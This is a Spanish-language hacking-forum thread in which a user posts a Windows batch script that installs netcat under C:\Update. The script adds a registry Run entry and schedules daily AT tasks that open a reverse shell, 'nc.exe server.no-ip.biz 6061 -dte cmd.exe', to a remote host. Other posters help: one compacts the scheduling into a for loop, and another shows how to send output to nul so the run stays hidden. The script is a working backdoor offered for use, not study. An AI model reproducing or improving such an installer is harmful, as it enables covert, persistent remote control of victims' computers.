Bueno tipico, estoy haciendo un server netcat, que incluye wget para windows, que se instala en C:/Update y se agrega al registro, de hago que se jecute todos los dias a X hora y de ahi que se ejecute C:/Update/nc.exe para que se conecte terminando la instalacion.
Pero cuando se agregan las entradas a las tareas programadas, en lugar de cerrarse se queda la ventana de cmd abierta.
Que puedo hacer para mejorar mi codigo??
@echo off
mkdir C:\Update
move /Y nc.exe C:/Update
move /Y wget.exe C:/Update
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v Netcat /d "C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"
AT 11:15p /INTERACTIVE /every:1 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:2 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:3 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:4 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:5 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:6 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:7 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:8 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:9 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:10 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:11 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:12 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:13 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:14 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:15 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:16 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:17 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:18 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:19 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:20 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:21 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:22 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:23 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:24 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:25 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:26 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:27 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:28 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:29 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:30 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
start /B "C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"
exit
Muchas Gracias.
Estó no va aquí! vá en Scripting (http://foro.elhacker.net/scripting-b64.0/)
En tu código, todo lo del AT se puede optimizar con un bucle for.
ohh ok, me podrias dar una pequeña idea?
porfavor :D
AT 11:15p /INTERACTIVE /every:1 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:2 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:3 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:4 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:5 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:6 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:7 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:8 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:9 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:10 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:11 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:12 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:13 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:14 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:15 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:16 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:17 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:18 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:19 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:20 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:21 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:22 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:23 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:24 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:25 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:26 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:27 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:28 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:29 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:30 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
for /L %%_ in (1,1,30) do (
AT 11:15p /INTERACTIVE /every:%%_ ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
)
muchas gracias:D
ya lo he probado y funciona de maravilla:D
ya estoy leyendo un tutorial de batch y de ahi a volar la imaginacion se ha dicho :D
buenas vibras para todos :D
Tengo otra duda acerca de esto; cuando se inicia el proceso, se ve en pantalla todo el procedimiento..
Segun esto con @echo off se ejecutaba en modo oculto, acaso me perdi en algun lado ?
Buen graciass :D
No, @echo off no oculta las salidas de los comandos.
Si tu quisieras mandar la salida de un comando a NULL(Para que no se viera), tendrías que hacer algo como:
comando > nul
ó
comando > nul 2>&1